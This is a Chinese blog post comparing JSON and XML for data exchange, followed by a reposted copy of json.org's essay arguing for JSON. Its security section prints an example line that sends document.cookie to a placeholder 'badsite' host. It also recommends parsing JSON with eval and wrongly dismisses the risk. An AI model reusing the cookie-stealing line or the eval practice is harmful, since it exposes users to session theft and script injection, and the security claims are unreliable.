json VS xml

json与xml对比

http://www.laokboke.net/2011/10/30/json-vs-xml/

曾几何时,XML是程序员的宠儿,是数据传输、API、AJAX应用等方面的不二选择,但自从JSON横空出世后,或者你会发觉你身边就有很多人开始抛弃XML,在他们的心目中,JSON已经完全取代了XML的位置。JSON有很多优势,但也存在缺点,而XML虽然确实存在不少问题,但孰优孰劣,并不是可以依据个人喜好就轻易得出结论的。

JSON(Javascript Object Notation) 是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于Javascript Programming Language, Standard ECMA-262 3rd Edition – December 1999的一个子集。JSON采用完全独立于语言的文本格式,但是也使用了类似于C语言家族的习惯(包括C, C++, C#, Java, Javascript, Perl, Python等)。这些特性使JSON成为理想的数据交换语言。 正是因为这样,twitter已经声称他们的流媒体API将不再支持XML,Foursquare则强烈推荐开发者在使用他们的API时选择JSON,因为他们计划下一代接口只支持JSON。

老k博客将从下面几个方面来客观比较一下两者

  • 1. 可读性
  • 2. 是否易于在服务端创建数据
  • 3. 是否易于在客户端处理数据
  • 4. 扩展性
  • 5. 调试和故障排除
  • 6. 安全

可读性

两者都具备很好的可读性,但从实际应用出发,个人还是觉得XML文档的可读性无疑会更高,要求你从一大堆的json代码里看出它的结构层次关系还是相对比较困难的;而且现在很多的IDE工具都可以把XML格式化成易读的结构形式,看起来相当舒服,而json则不然。在这一方面我投XML一票。

 

是否易于在服务端创建数据

XML已经流行了好多年了,故目前流行的编程语言都已经存在大量的XML数据绑定API去进行创建XML,以java语言为例,你既可以用JAXB,又可以用XmlBeans,又或者dom4jjdom等去把数据写到xml文件中。而另一方面,json这一方面的API则相对是一个全新的领域,尽管如此,json官方网站还是列出了很多令人印象深刻的各种语言的API,java方面比较著名的有json-lib,此外gson也算一个。在这一方面,虽然json相对于XML并不是望尘莫及,但还是略微逊色一筹,尤其是在复杂的应用方面,XML方面的API已经存在多年,相对来说成熟稳定得多了。

 

是否易于在客户端处理数据

在客户端,要处理XMLHttpRequest请求返回的json格式响应数据是一件轻而易举的事情,只需要使用javascript的eval函数就可以实现把json格式的数据转换成javascript对象,然后通过对象的属性去访问值,这就是json最优雅之处,无数人为之着迷。而XML在这一方面就不是那么的友善了,曾令无数的程序员头痛不已,因为处理XML响应数据,你得通过DOM树,这是非常繁琐且容易出错的工作。这一点,我毫不犹豫地选择json。

 

扩展性

可扩展性有助于减少生产者与消费者之间的数据耦合。在AJAX应用里,客户端脚本应该合理地兼容不可知的数据扩展。

毫无疑问,XML是可扩展的,但它的扩展是有局限的,因为如果你要适应扩展的话,那么你的客户端代码不得不作出相应的改动,如以下的客户端解析代码

 
1var xml = xhr.responseXML;
2 var elements = xml.getElementsByTagName("firstName");
3 var firstNameEl = elements[0];
4 var lastNameEl = firstNameEl.nextSibling;

如果你在响应xml中<firstName>结点后增加了<middlename>这一结点的话,那以上的代码就要作相应的改变,否则会出错,也就是说,XML的扩展得伴随着解析代码的变更,这可没有什么魔法可言。而json则简单得多,即使你要增加middleName这一属性,在js客户端依然是通过对象访问属性值即可,而不会引起js上的语法出错之类的错误,导致程序无法执行。

 

调试和故障排除

这方面需要从服务端和客户端两方面进行考虑,在服务器端,要确保数据是格式良好的和有效的;在客户端,它应该容易调试错误的。

使用XML的话会相对容易地检查数据被发送到客户端是格式良好的和有效的。您还可以使用数据架构(schema)来验证xml的正确性和有效性。使用JSON,这个任务是手动的,并涉及验证响应对象中是否包含正确的属性。

在客户端,要从两者中找到错误都是比较困难的。对于XML,浏览器是完全无法将xml格式化成responseXML;如果对于数据量较少的json数据,还可以通过firebug来发现错误,但对于大数据量的话,那只能靠手工检查了,否则也只能坐以待毙了。


安全性

有人认为,使用json是不安全的,原因是json里可以包含js代码,而客户端中使用eval可以使这些代码执行,而这些代码可能会存在安全隐患。如以下的代码:

 
1window.location = "<a href="http://badsite.com/">http://badsite.com</a>?" + document.cookie;
2 person : {
3 "firstName": "Subbu",
4 "lastName": "Allamaraju"
5 }

上面的代码会导致浏览器把用户的cookie数据提交到一个流氓网站。但出现这种情况的可能只会是开发者故意为之,别人是无法这样做的,但如果是开发者有意为之的话,那他一样以别的方式来实现把你的cookie数据提交到流氓网站,这与是否使用json无关,所以相对于XML,json是同样的安全的。

 

我的结论

面向数据的应用,个人比较喜欢使用json,因为它简单和易于在客户端进行处理,或者xml在服务器是无与伦比的,但json在客户端的优势也是很明显的。

另外,json官方也有一篇专门比较两者的文章,大家可以参考一下:《JSON: The Fat-Free Alternative to XML

 

 

 

JSON: The Fat-Free Alternative to XML

http://www.json.org/xml

 

Extensible Markup Language (XML) is a text format derived from Standard Generalized Markup Language (SGML). Compared to SGML, XML is simple. HyperText Markup Language (HTML), by comparison, is even simpler. Even so, a good reference book on HTML is an inch thick. This is because the formatting and structuring of documents is a complicated business.

Most of the excitement around XML is around a new role as an interchangeable data serialization format. XML provides two enormous advantages as a data representation language:

  1. It is text-based.
  2. It is position-independent.

These together encouraged a higher level of application-independence than other data-interchange formats. The fact that XML was already a W3C standard meant that there wasn't much left to fight about (or so it seemed).

Unfortunately, XML is not well suited to data-interchange, much as a wrench is not well-suited to driving nails. It carries a lot of baggage, and it doesn't match the data model of most programming languages. When most programmers saw XML for the first time, they were shocked at how ugly and inefficient it was. It turns out that that first reaction was the correct one. There is another text notation that has all of the advantages of XML, but is much better suited to data-interchange. That notation is JavaScript Object Notation (JSON).

The most informed opinions on XML (see for example xmlsuck.org) suggest that XML has big problems as a data-interchange format, but the disadvantages are compensated for by the benefits of interoperability and openness.

JSON promises the same benefits of interoperability and openness, but without the disadvantages.

Let's compare XML and JSON on the attributes that the XML community considers important.


 

From http://www.simonstl.com/articles/whyxml.htm

Simplicity

XML is simpler than SGML, but JSON is much simpler than XML. JSON has a much smaller grammar and maps more directly onto the data structures used in modern programming languages.

Extensibility

JSON is not extensible because it does not need to be. JSON is not a document markup language, so it is not necessary to define new tags or attributes to represent data in it.

Interoperability

JSON has the same interoperability potential as XML.

Openness

JSON is at least as open as XML, perhaps more so because it is not in the center of corporate/political standardization struggles.


 

From http://www.karto.ethz.ch/neumann/caving/cavexml/why_xml.html

In summary these are some of the advantages of XML.

XML is human readable

JSON is much easier for human to read than XML. It is easier to write, too. It is also easier for machines to read and write.

XML can be used as an exchange format to enable users to move their data between similar applications

The same is true for JSON.

XML provides a structure to data so that it is richer in information

The same is true for JSON.

XML is easily processed because the structure of the data is simple and standard

JSON is processed more easily because its structure is simpler.

There is a wide range of reusable software available to programmers to handle XML so they don't have to re-invent code

JSON, being a simpler notation, needs much less specialized software. In the languages JavaScript and Python, the JSON notation is built into the programming language; no additional software is needed at all. In other languages, only a small amount of JSON-specific code is necessary. For example, a package of three simple classes that makes JSON available to Java is available for free from JSON.org.

XML separates the presentation of data from the structure of that data.

XML requires translating the structure of the data into a document structure. This mapping can be complicated. JSON structures are based on arrays and records. That is what data is made of. XML structures are based on elements (which can be nested), attributes (which cannot), raw content text, entities, DTDs, and other meta structures.

A common exchange format

JSON is a better data exchange format. XML is a better document exchange format. Use the right tool for the right job.

Many views of the one data

JSON does not provide any display capabilities because it is not a document markup language.


 

From http://www.softwareag.com/xml/about/xml_why.htm

Self-Describing Data

XML and JSON have this in common.

Complete integration of all traditional databases and formats

(Statements about XML are sometimes given to a bit of hyperbole.) XML documents can contain any imaginable data type - from classical data like text and numbers, or multimedia objects such as sounds, to active formats like Java applets or ActiveX components.

JSON does not have a <[CDATA[]]> feature, so it is not well suited to act as a carrier of sounds or images or other large binary payloads. JSON is optimized for data. Besides, delivering executable programs in a data-interchange system could introduce dangerous security problems.

Internationalization

XML and JSON both use Unicode.

Open and extensible

XML’s one-of-a-kind open structure allows you to add other state-of-the-art elements when needed. This means that you can always adapt your system to embrace industry-specific vocabulary.

Those vocabularies can be automatically converted to JSON, making migration from XML to JSON very straightforward.


 

From http://www.xmlspy.com/manual/whyxml.htm

XML is easily readable by both humans and machines

JSON is easier to read for both humans and machines.

XML is object-oriented

Actually, XML is document-oriented. JSON is data-oriented. JSON can be mapped more easily to object-oriented systems.

XML is being widely adopted by the computer industry

JSON is just beginning to become known. Its simplicity and the ease of converting XML to JSON makes JSON ultimately more adoptable.

 

 

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值